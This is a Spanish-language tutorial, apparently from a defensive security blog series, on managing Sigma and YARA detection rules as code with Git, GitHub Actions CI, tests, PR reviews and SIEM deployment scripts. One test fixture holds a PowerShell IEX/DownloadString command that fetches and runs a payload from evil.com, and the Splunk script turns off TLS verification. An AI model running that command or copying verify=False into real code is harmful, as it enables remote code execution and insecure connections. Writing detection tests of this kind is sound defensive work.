AvanzadoDetection-as-CodeCI/CDGitDevOpsDetection Engineering

Detection-as-Code: Git, CI/CD y PR Reviews para Reglas de Deteccion

Guia completa para gestionar reglas de deteccion como codigo con control de versiones Git, pipelines CI/CD, testing automatizado y despliegue continuo a SIEMs. Cubre estructura de repositorio, GitHub Actions, PR reviews, sigma-cli, yara-ci y metricas de madurez.

MalwareIntel Research··17 min lectura
Serie: Detection Engineering — Parte 10

El problema: reglas que nadie audita, nadie versiona y nadie prueba

Un equipo SOC acumula 400 reglas en su SIEM. Nadie recuerda quien creo la regla Suspicious PowerShell Execution v3 FINAL_v2_fixed. Cuando un analista la modifica para reducir falsos positivos, no hay registro del cambio. Si la modificacion rompe la deteccion de un TTP critico, nadie lo descubre hasta el proximo incidente real.

Este escenario es la norma en la mayoria de SOCs. Las reglas de deteccion se tratan como configuracion de infraestructura: se editan directamente en la consola del SIEM, sin versionado, sin revision, sin tests. Detection-as-Code (DaC) propone una alternativa: aplicar las mismas practicas de ingenieria de software (Git, CI/CD, code review, testing automatizado) a las reglas de deteccion.

Este articulo cubre la implementacion completa de un workflow DaC: desde la estructura del repositorio hasta el despliegue automatizado a SIEMs, pasando por pipelines CI/CD, PR reviews y metricas de madurez.


Que es Detection-as-Code

Detection-as-Code es la practica de gestionar reglas de deteccion como artefactos de software. Cada regla es un fichero de texto (YAML para Sigma, .yar para YARA, KQL, SPL) almacenado en un repositorio Git, sujeto a las mismas disciplinas que el codigo de produccion:

  • Version control: cada cambio queda registrado con autor, fecha y razon.
  • Code review: las reglas pasan por pull request antes de llegar a produccion.
  • Testing automatizado: pipelines CI validan sintaxis, semantica y eficacia.
  • Despliegue continuo: la conversion y push al SIEM se automatizan.
  • Rollback: revertir una regla problematica es un git revert.

La idea no es nueva. Equipos como Elastic, Palantir, Panther y Splunk la aplican internamente desde hace anios. Lo que ha cambiado es la madurez del tooling: sigma-cli, yara-ci, pre-commit hooks y APIs de SIEMs hacen viable la adopcion incluso en equipos pequenios.

DaC vs gestion tradicional

AspectoGestion tradicionalDetection-as-Code
AlmacenamientoConsola del SIEMRepositorio Git
VersionadoNinguno o manualGit (commits, branches, tags)
RevisionInformal o inexistentePull request con reviewers
TestingManual, post-despliegueAutomatizado, pre-despliegue
DespliegueCopy-paste en consolaCI/CD pipeline con API
RollbackRestaurar backup del SIEMgit revert + re-deploy
TrazabilidadLogs internos del SIEMgit log, git blame
ColaboracionUn analista por reglaBranches, PRs, comentarios

Estructura del repositorio

Un repositorio DaC bien organizado separa las reglas por formato y dominio, con directorios auxiliares para configuracion, tests y documentacion.

detection-rules/
├── .github/
│   └── workflows/
│       ├── ci-sigma.yml          # Pipeline CI para reglas Sigma
│       ├── ci-yara.yml           # Pipeline CI para reglas YARA
│       └── deploy-siem.yml       # Despliegue automatizado
├── .pre-commit-config.yaml       # Hooks de pre-commit
├── sigma/
│   ├── rules/
│   │   ├── windows/
│   │   │   ├── process_creation/
│   │   │   ├── registry/
│   │   │   ├── network/
│   │   │   └── file/
│   │   ├── linux/
│   │   │   ├── auditd/
│   │   │   └── syslog/
│   │   ├── cloud/
│   │   │   ├── aws/
│   │   │   ├── azure/
│   │   │   └── gcp/
│   │   └── network/
│   │       ├── dns/
│   │       ├── proxy/
│   │       └── firewall/
│   ├── pipelines/                # Pipelines de transformacion Sigma
│   │   ├── elastic.yml
│   │   ├── splunk.yml
│   │   └── sentinel.yml
│   └── config/
│       └── fieldmappings.yml     # Mapeo de campos por SIEM
├── yara/
│   ├── rules/
│   │   ├── malware/
│   │   ├── webshells/
│   │   ├── exploits/
│   │   └── tools/
│   └── index.yar                 # Archivo indice que importa todas
├── tests/
│   ├── sigma/
│   │   └── test_logs/            # Logs sinteticos para validacion
│   └── yara/
│       └── test_samples/         # Muestras benignas y maliciosas (hashes)
├── scripts/
│   ├── validate_sigma.py         # Validador custom de reglas Sigma
│   ├── deploy_elastic.py         # Deploy a Elasticsearch via API
│   ├── deploy_splunk.py          # Deploy a Splunk via REST API
│   └── coverage_report.py        # Genera reporte de cobertura ATT&CK
├── docs/
│   ├── CONTRIBUTING.md           # Guia para contribuir reglas
│   ├── STYLE_GUIDE.md            # Convenciones de naming y metadata
│   └── REVIEW_CHECKLIST.md       # Checklist para reviewers
└── README.md

Convenciones de naming para reglas

Cada regla Sigma sigue un patron predecible:

sigma/rules/{plataforma}/{categoria}/{tactica}_{descripcion}.yml

Ejemplo: sigma/rules/windows/process_creation/execution_suspicious_powershell_download.yml

Para YARA:

yara/rules/{categoria}/{familia_o_tipo}_{variante}.yar

Ejemplo: yara/rules/malware/emotet_loader_2024.yar


Practicas de control de versiones

Branching strategy

El modelo recomendado para equipos de deteccion es trunk-based development con ramas de corta duracion:

  • main: reglas validadas y desplegadas en produccion.
  • feat/{ticket}-{descripcion}: rama para nuevas reglas o modificaciones.
  • hotfix/{ticket}-{descripcion}: correcciones urgentes (falsos positivos en produccion).
# Crear una nueva regla
git checkout -b feat/DET-142-detect-bumblebee-dll-sideloading

# Desarrollar, testear localmente, commit
git add sigma/rules/windows/process_creation/execution_bumblebee_sideload.yml
git commit -m "feat(sigma): add Bumblebee DLL sideloading detection (T1574.002)"

# Push y crear PR
git push -u origin feat/DET-142-detect-bumblebee-dll-sideloading

Commits semanticos para detecciones

Adaptar Conventional Commits al dominio de deteccion:

PrefijoUso
feat(sigma):Nueva regla Sigma
feat(yara):Nueva regla YARA
fix(sigma):Correccion de falso positivo/negativo
tune(sigma):Ajuste de umbral o filtro
deprecate(sigma):Marcar regla como obsoleta
docs:Documentacion, guias de contribucion
ci:Cambios en pipelines CI/CD
test:Aniadir o modificar tests

Git blame para trazabilidad

Cada linea de cada regla tiene un autor y una razon. Cuando un analista pregunta "por que este filtro excluye svchost.exe", la respuesta esta en el historial:

git blame sigma/rules/windows/process_creation/execution_suspicious_powershell.yml

Pipeline CI/CD con GitHub Actions

El corazon de Detection-as-Code es el pipeline que valida cada cambio antes de que llegue a produccion. Este ejemplo usa GitHub Actions con cuatro stages.

Workflow completo: CI para reglas Sigma

# .github/workflows/ci-sigma.yml
name: Sigma Rules CI

on:
  pull_request:
    paths:
      - 'sigma/**'
  push:
    branches: [main]
    paths:
      - 'sigma/**'

jobs:
  lint:
    name: Lint Sigma Rules
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Setup Python
        uses: actions/setup-python@v5
        with:
          python-version: '3.12'

      - name: Install sigma-cli
        run: pip install sigma-cli pySigma-backend-elasticsearch

      - name: Validate YAML syntax
        run: |
          find sigma/rules -name '*.yml' | while read rule; do
            python -c "import yaml; yaml.safe_load(open('$rule'))" || exit 1
          done

      - name: Check required fields
        run: |
          python scripts/validate_sigma.py sigma/rules/ \
            --require-fields title,status,description,logsource,detection,level \
            --require-tags attack.* \
            --require-id

  validate:
    name: Validate Sigma Rules
    needs: lint
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Setup Python
        uses: actions/setup-python@v5
        with:
          python-version: '3.12'

      - name: Install dependencies
        run: pip install sigma-cli pySigma-backend-elasticsearch pySigma-backend-splunk

      - name: Validate ATT&CK mappings
        run: |
          python scripts/validate_sigma.py sigma/rules/ \
            --validate-attack-tags \
            --mitre-version 15.1

      - name: Convert to Elasticsearch (dry-run)
        run: |
          sigma convert \
            --target elasticsearch \
            --pipeline sigma/pipelines/elastic.yml \
            sigma/rules/ \
            --output /dev/null

      - name: Convert to Splunk (dry-run)
        run: |
          sigma convert \
            --target splunk \
            --pipeline sigma/pipelines/splunk.yml \
            sigma/rules/ \
            --output /dev/null

  test:
    name: Test Detection Logic
    needs: validate
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Setup Python
        uses: actions/setup-python@v5
        with:
          python-version: '3.12'

      - name: Install test dependencies
        run: pip install sigma-cli pytest pySigma-backend-elasticsearch

      - name: Run detection tests
        run: |
          pytest tests/sigma/ -v \
            --junitxml=reports/sigma-tests.xml

      - name: Upload test results
        uses: actions/upload-artifact@v4
        with:
          name: sigma-test-results
          path: reports/sigma-tests.xml

  deploy:
    name: Deploy to SIEM
    needs: test
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: actions/checkout@v4

      - name: Setup Python
        uses: actions/setup-python@v5
        with:
          python-version: '3.12'

      - name: Install dependencies
        run: pip install sigma-cli pySigma-backend-elasticsearch requests

      - name: Convert rules
        run: |
          sigma convert \
            --target elasticsearch \
            --pipeline sigma/pipelines/elastic.yml \
            --output converted/elastic/ \
            sigma/rules/

      - name: Deploy to Elasticsearch
        env:
          ELASTIC_URL: ${{ secrets.ELASTIC_URL }}
          ELASTIC_API_KEY: ${{ secrets.ELASTIC_API_KEY }}
        run: python scripts/deploy_elastic.py converted/elastic/

Workflow para reglas YARA

# .github/workflows/ci-yara.yml
name: YARA Rules CI

on:
  pull_request:
    paths:
      - 'yara/**'

jobs:
  validate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Install YARA
        run: |
          sudo apt-get update
          sudo apt-get install -y yara

      - name: Compile all rules
        run: yara -w -s yara/index.yar /dev/null 2>&1 || true

      - name: Check for syntax errors
        run: |
          find yara/rules -name '*.yar' | while read rule; do
            yara -C "$rule" /dev/null || exit 1
          done

      - name: Run yara-ci validation
        run: |
          pip install yara-ci
          yara-ci --rules-dir yara/rules/ --strict

Testing automatizado de detecciones

Las reglas de deteccion necesitan tests como cualquier otro codigo. Hay dos enfoques complementarios.

Tests unitarios con logs sinteticos

Cada regla Sigma debe tener al menos un log sintetico que la dispare (true positive) y uno que no la dispare (true negative).

# tests/sigma/test_powershell_download.py
import pytest
from sigma.collection import SigmaCollection
from sigma.backends.elasticsearch import ElasticsearchBackend
from sigma.pipelines.elasticsearch import ecs_windows

@pytest.fixture
def backend():
    return ElasticsearchBackend(processing_pipeline=ecs_windows())

@pytest.fixture
def rule():
    return SigmaCollection.from_yaml("""
        title: Suspicious PowerShell Download
        status: test
        logsource:
            product: windows
            category: process_creation
        detection:
            selection:
                CommandLine|contains|all:
                    - 'powershell'
                    - 'DownloadString'
            condition: selection
        level: high
    """)

def test_true_positive(backend, rule):
    """La regla debe detectar PowerShell con DownloadString."""
    query = backend.convert_rule(rule[0])
    assert query is not None
    # Validar contra log sintetico
    test_log = {
        "process": {"command_line": "powershell.exe -c IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"}
    }
    assert matches_query(query[0], test_log)

def test_true_negative(backend, rule):
    """La regla NO debe detectar PowerShell legitimo."""
    query = backend.convert_rule(rule[0])
    test_log = {
        "process": {"command_line": "powershell.exe -c Get-Process"}
    }
    assert not matches_query(query[0], test_log)

Tests de integracion con Atomic Red Team

Para validar que la regla funciona end-to-end en un SIEM real, se combinan con Atomic Red Team (ver articulo anterior de esta serie):

# tests/sigma/integration/test_t1059_001.yml
rule: sigma/rules/windows/process_creation/execution_suspicious_powershell.yml
atomic_test: T1059.001-1  # Atomic Red Team test ID
siem: elasticsearch
expected_alert: true
timeout: 60
cleanup: true

Proceso de PR review para reglas de deteccion

El code review de reglas de deteccion tiene particularidades que no existen en software convencional. Un checklist efectivo:

Checklist del reviewer

## PR Review Checklist - Detection Rules

### Metadata
- [ ] `title` descriptivo y unico
- [ ] `id` UUID generado (no duplicado)
- [ ] `status` correcto (test, experimental, stable)
- [ ] `description` explica QUE detecta y POR QUE
- [ ] `author` y `date` presentes
- [ ] `level` (informational/low/medium/high/critical) justificado
- [ ] `tags` incluyen tecnica ATT&CK valida (attack.tXXXX)
- [ ] `references` con URLs a threat intel que justifica la regla

### Logica de deteccion
- [ ] `logsource` especifica product, category y/o service
- [ ] `detection` usa campos reales del log source
- [ ] Filtros de exclusion documentados (por que se excluye cada proceso/path)
- [ ] No hay wildcards excesivos que generen ruido
- [ ] `condition` es correcta (AND/OR/NOT aplicados bien)

### Calidad
- [ ] Existe al menos un test (true positive + true negative)
- [ ] Tasa estimada de falsos positivos aceptable
- [ ] La regla no duplica una deteccion existente
- [ ] Pipeline CI pasa (lint + validate + test + convert)

### Operacional
- [ ] Volumen estimado de alertas por dia documentado
- [ ] Runbook o playbook de respuesta referenciado
- [ ] Impacto en rendimiento del SIEM evaluado

Ejemplo de comentario de review

## Review: feat(sigma): add Bumblebee DLL sideloading (T1574.002)

APROBADO con sugerencias menores:

1. L12: El filtro `ParentImage|endswith: '\explorer.exe'` es demasiado
   permisivo. Bumblebee usa DLL sideloading desde procesos
   especificos (calc.exe, notepad.exe). Sugerir lista explicita
   para reducir FP.

2. L18: Falta `falsepositives:` section. Aniadir al menos:
   - Software de gestion remota legitimo
   - Herramientas de inventario de activos

3. Test OK: el true positive cubre el caso principal.
   Sugerir aniadir test para la variante con wscript.exe como parent.

Despliegue automatizado a SIEMs via API

Una vez la regla pasa CI y review, el despliegue debe ser automatico. Cada SIEM tiene su API.

Deploy a Elasticsearch/Kibana

# scripts/deploy_elastic.py
import json
import os
from pathlib import Path
import requests

ELASTIC_URL = os.environ["ELASTIC_URL"]
ELASTIC_API_KEY = os.environ["ELASTIC_API_KEY"]

def deploy_rule(rule_path: Path) -> dict:
    """Despliega una regla convertida a Elasticsearch Detection Rules API."""
    with open(rule_path) as f:
        rule_body = json.load(f)

    headers = {
        "Authorization": f"ApiKey {ELASTIC_API_KEY}",
        "Content-Type": "application/json",
        "kbn-xsrf": "true"
    }

    # Intentar actualizar; si no existe, crear
    rule_id = rule_body.get("rule_id", rule_body["name"].lower().replace(" ", "_"))

    response = requests.put(
        f"{ELASTIC_URL}/api/detection_engine/rules",
        headers=headers,
        json={**rule_body, "rule_id": rule_id},
        timeout=30
    )

    if response.status_code == 404:
        response = requests.post(
            f"{ELASTIC_URL}/api/detection_engine/rules",
            headers=headers,
            json={**rule_body, "rule_id": rule_id},
            timeout=30
        )

    response.raise_for_status()
    return response.json()

def main():
    import sys
    rules_dir = Path(sys.argv[1])
    results = {"deployed": 0, "failed": 0, "errors": []}

    for rule_file in rules_dir.glob("*.json"):
        try:
            deploy_rule(rule_file)
            results["deployed"] += 1
        except Exception as e:
            results["failed"] += 1
            results["errors"].append(f"{rule_file.name}: {e}")

    print(f"Deployed: {results['deployed']} | Failed: {results['failed']}")
    if results["errors"]:
        for err in results["errors"]:
            print(f"  ERROR: {err}")
        sys.exit(1)

if __name__ == "__main__":
    main()

Deploy a Splunk

# scripts/deploy_splunk.py
import os
import requests
from pathlib import Path

SPLUNK_URL = os.environ["SPLUNK_URL"]
SPLUNK_TOKEN = os.environ["SPLUNK_TOKEN"]

def deploy_saved_search(name: str, search_query: str, severity: str = "high"):
    """Crea o actualiza una saved search en Splunk."""
    headers = {"Authorization": f"Bearer {SPLUNK_TOKEN}"}

    data = {
        "name": name,
        "search": search_query,
        "is_scheduled": "1",
        "cron_schedule": "*/15 * * * *",
        "alert_type": "number of events",
        "alert_comparator": "greater than",
        "alert_threshold": "0",
        "alert.severity": severity,
        "actions": "email,notable",
    }

    response = requests.post(
        f"{SPLUNK_URL}/servicesNS/admin/search/saved/searches",
        headers=headers,
        data=data,
        verify=False,
        timeout=30
    )
    return response.status_code

Ciclo de vida de una regla de deteccion

Cada regla tiene un ciclo de vida definido, reflejado en el campo status de Sigma:

 IDEA          DRAFT         TEST        EXPERIMENTAL      STABLE       DEPRECATED
  │              │             │              │               │              │
  │  Threat      │  PR review  │  CI pipeline │  Produccion   │  Madura y    │  Retirada
  │  intel       │  + tests    │  + Atomic RT │  con monitor  │  validada    │  del SIEM
  │  justifica   │  iniciales  │              │  de FP rate   │              │
  ▼              ▼             ▼              ▼               ▼              ▼
StatusSignificadoDonde se ejecuta
draftEn desarrollo, sin testsSolo local
testCon tests, en PR reviewCI pipeline
experimentalEn produccion con monitorizacionSIEM (modo alerta, sin bloqueo)
stableValidada, baja tasa de FPSIEM (puede bloquear/contener)
deprecatedObsoleta, marcada para eliminarSe retira en el proximo release

Criterios de promocion

De experimental a stable:

  • Minimo 30 dias en produccion.
  • Tasa de falsos positivos < 5%.
  • Al menos 1 true positive documentado (real o via Atomic Red Team).
  • Runbook de respuesta completo.

De stable a deprecated:

  • La tecnica ATT&CK ya no es relevante (herramienta abandonada).
  • Una regla mas precisa la reemplaza.
  • El log source ya no esta disponible.

Tooling: herramientas del ecosistema DaC

sigma-cli

La herramienta oficial para trabajar con reglas Sigma desde la linea de comandos:

# Instalar
pip install sigma-cli pySigma-backend-elasticsearch pySigma-backend-splunk

# Validar una regla
sigma check sigma/rules/windows/process_creation/exec_suspicious_ps.yml

# Convertir a Elasticsearch ECS
sigma convert \
  --target elasticsearch \
  --pipeline ecs_windows \
  sigma/rules/windows/process_creation/exec_suspicious_ps.yml

# Convertir a Splunk
sigma convert \
  --target splunk \
  --pipeline splunk_windows \
  sigma/rules/windows/process_creation/exec_suspicious_ps.yml

# Convertir todas las reglas de un directorio
sigma convert \
  --target elasticsearch \
  --pipeline ecs_windows \
  --output converted/ \
  sigma/rules/

yara-ci

Validacion automatizada de reglas YARA:

pip install yara-ci

# Validar directorio completo
yara-ci --rules-dir yara/rules/ --strict

# Opciones utiles
yara-ci --rules-dir yara/rules/ \
  --require-metadata author,description,date,reference \
  --require-tags \
  --max-string-count 100

Pre-commit hooks

Automatizar validaciones antes de cada commit:

# .pre-commit-config.yaml
repos:
  - repo: local
    hooks:
      - id: sigma-check
        name: Validate Sigma Rules
        entry: sigma check
        language: python
        additional_dependencies: ['sigma-cli']
        files: 'sigma/rules/.*\.yml$'
        types: [yaml]

      - id: yara-compile
        name: Compile YARA Rules
        entry: bash -c 'for f in "$@"; do yara -C "$f" /dev/null; done'
        language: system
        files: 'yara/rules/.*\.yar$'

      - id: sigma-uuid
        name: Check Sigma Rule UUIDs
        entry: python scripts/check_unique_ids.py
        language: python
        files: 'sigma/rules/.*\.yml$'

      - id: attack-tags
        name: Validate ATT&CK Tags
        entry: python scripts/validate_attack_tags.py
        language: python
        files: 'sigma/rules/.*\.yml$'

Ejemplos reales de repositorios DaC

Elastic Detection Rules

El repositorio elastic/detection-rules es la referencia de la industria. Contiene mas de 1.000 reglas con:

  • Estructura: reglas organizadas por plataforma y categoria.
  • CI completo: validacion de schema, tests de logica, conversion automatica.
  • Versionado: cada regla tiene min_stack_version para compatibilidad.
  • Metadata: campos risk_score, severity, threat (mappings ATT&CK), building_block.
  • Tests: directorio tests/ con logs sinteticos por regla.
  • Release process: tags de Git, changelogs, paquetes de reglas descargables.

Lecciones clave del repo de Elastic:

  1. Usan rule_id como identificador estable (no el nombre).
  2. Las reglas tienen max_signals para controlar volumen de alertas.
  3. El campo building_block permite componer detecciones.
  4. Las excepciones se gestionan en ficheros separados, no inline.

SigmaHQ

SigmaHQ/sigma es el repositorio comunitario con mas de 3.000 reglas Sigma:

  • Estructura estandar: rules/{plataforma}/{categoria}/.
  • CI: GitHub Actions con sigma check y compilacion a multiples backends.
  • PR reviews: cada regla pasa por revision de mantenedores con checklist.
  • Status tracking: campo status obligatorio (test, experimental, stable).
  • Convenciones: guia de estilo documentada, naming predecible.

Panther Analysis

panther-labs/panther-analysis toma un enfoque diferente: las detecciones son funciones Python, no DSLs:

def rule(event):
    return (
        event.get("eventName") == "ConsoleLogin"
        and event.get("responseElements", {}).get("ConsoleLogin") == "Success"
        and event.get("additionalEventData", {}).get("MFAUsed") != "Yes"
    )

La ventaja: la logica de deteccion tiene la expresividad completa de un lenguaje de programacion. La desventaja: pierde la portabilidad multi-SIEM que ofrece Sigma.


Metricas de madurez DaC

Para medir la salud del programa Detection-as-Code, estas metricas son las mas relevantes:

Metricas de cobertura

MetricaFormulaObjetivo
Cobertura ATT&CKTecnicas con >= 1 regla / Tecnicas totales relevantes> 60%
Reglas con testsReglas con test unitario / Total reglas> 80%
Reglas establesReglas con status stable / Total reglas> 50%

Metricas de calidad

MetricaFormulaObjetivo
Tasa de falsos positivosFP por regla por semana (media)< 5 FP/semana
Tiempo medio de tuningDias desde primer FP hasta fix< 3 dias
Reglas sin activar (30d)Reglas con 0 alertas en 30 dias< 20%

Metricas de proceso

MetricaFormulaObjetivo
Lead timeCommit a produccion (media)< 24h
PR review timePR abierto a aprobado (media)< 8h
Rollback rateReverts por mes / deploys por mes< 5%
Contribuidores activosAutores unicos en ultimos 30 dias> 3

Script de cobertura ATT&CK

# scripts/coverage_report.py
import yaml
from pathlib import Path
from collections import defaultdict

def generate_coverage_report(rules_dir: str) -> dict:
    """Genera reporte de cobertura ATT&CK a partir de reglas Sigma."""
    techniques = defaultdict(list)

    for rule_path in Path(rules_dir).rglob("*.yml"):
        with open(rule_path) as f:
            rule = yaml.safe_load(f)

        if not rule or "tags" not in rule:
            continue

        for tag in rule.get("tags", []):
            if tag.startswith("attack.t"):
                technique_id = tag.replace("attack.", "").upper()
                techniques[technique_id].append({
                    "title": rule.get("title", "Unknown"),
                    "status": rule.get("status", "unknown"),
                    "level": rule.get("level", "unknown"),
                    "file": str(rule_path)
                })

    return {
        "total_techniques_covered": len(techniques),
        "total_rules": sum(len(v) for v in techniques.values()),
        "techniques": dict(techniques),
        "stable_rules": sum(
            1 for rules in techniques.values()
            for r in rules if r["status"] == "stable"
        ),
    }

Recursos y referencias

Repositorios de referencia

Herramientas

  • sigma-cli: CLI oficial para validar, convertir y gestionar reglas Sigma.
  • pySigma: framework Python para backends Sigma.
  • YARA: motor de reglas para clasificacion de malware.
  • Atomic Red Team: tests unitarios para tecnicas ATT&CK.

Lecturas recomendadas


Conclusion

Detection-as-Code no es una moda. Es la evolucion natural de la gestion de reglas de deteccion, del mismo modo que Infrastructure-as-Code transformo la gestion de servidores. Los beneficios son claros: trazabilidad, calidad, velocidad de iteracion y colaboracion. El tooling ya existe y es maduro.

El primer paso no tiene que ser migrar 400 reglas de golpe. Empieza con un repositorio Git, tres reglas Sigma, un pipeline CI basico y un PR review. Cuando el equipo vea el historial de git log con las razones de cada cambio, no habra vuelta atras.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.